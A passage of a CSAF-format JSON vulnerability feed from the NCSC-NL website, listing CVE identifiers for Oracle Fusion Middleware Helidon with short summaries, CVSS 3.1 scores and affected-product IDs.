"summary": "CVE-2026-71161 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71161.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71161"
},
{
"cve": "CVE-2026-71162",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access or modify critical data, rated with a CVSS 3.1 base score of 6.5 indicating moderate severity.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71162 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71162.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71162"
},
{
"cve": "CVE-2026-71164",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71164 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71164.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71164"
},
{
"cve": "CVE-2026-71165",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71165 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71165.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71165"
},
{
"cve": "CVE-2026-71166",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71166 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71166.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71166"
},
{
"cve": "CVE-2026-71167",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71167 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71167.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.4,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71167"
},
{
"cve": "CVE-2026-73865",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73865 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73865.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73865"
},
{
"cve": "CVE-2026-73866",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73866 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73866.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73866"
},
{
"cve": "CVE-2026-73867",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to perform unauthorized read and write operations on accessible data, rated with a CVSS 3.1 base score of 6.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73867 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73867.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73867"
},
{
"cve": "CVE-2026-73868",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73868 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73868.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73868"
},
{
"cve": "CVE-2026-73869",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to perform unauthorized data reads and modifications, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73869 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73869.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73869"
},
{
"cve": "CVE-2026-73870",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73870 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73870.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73870"
},
{
"cve": "CVE-2026-73871",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73871 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73871.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73871"
},
{
"cve": "CVE-2026-73872",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73872 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73872.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73872"
},
{
"cve": "CVE-2026-73873",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to perform unauthorized read and write operations, rated with a CVSS 3.1 base score of 4.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73873 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73873.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 4.2,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73873"
},
{
"cve": "CVE-2026-73874",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73874 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73874.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73874"
},
{
"cve": "CVE-2026-73875",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to exploit HTTP access for unauthorized data reading and modification, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73875 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73875.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73875"
},
{
"cve": "CVE-2026-73876",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to perform unauthorized data manipulation via HTTP, with a CVSS 3.1 base score of 7.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73876 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73876.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73876"
},
{
"cve": "CVE-2026-73877",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73877 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73877.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73877"
},
{
"cve": "CVE-2026-73878",
"notes": [
{
"category": "description",
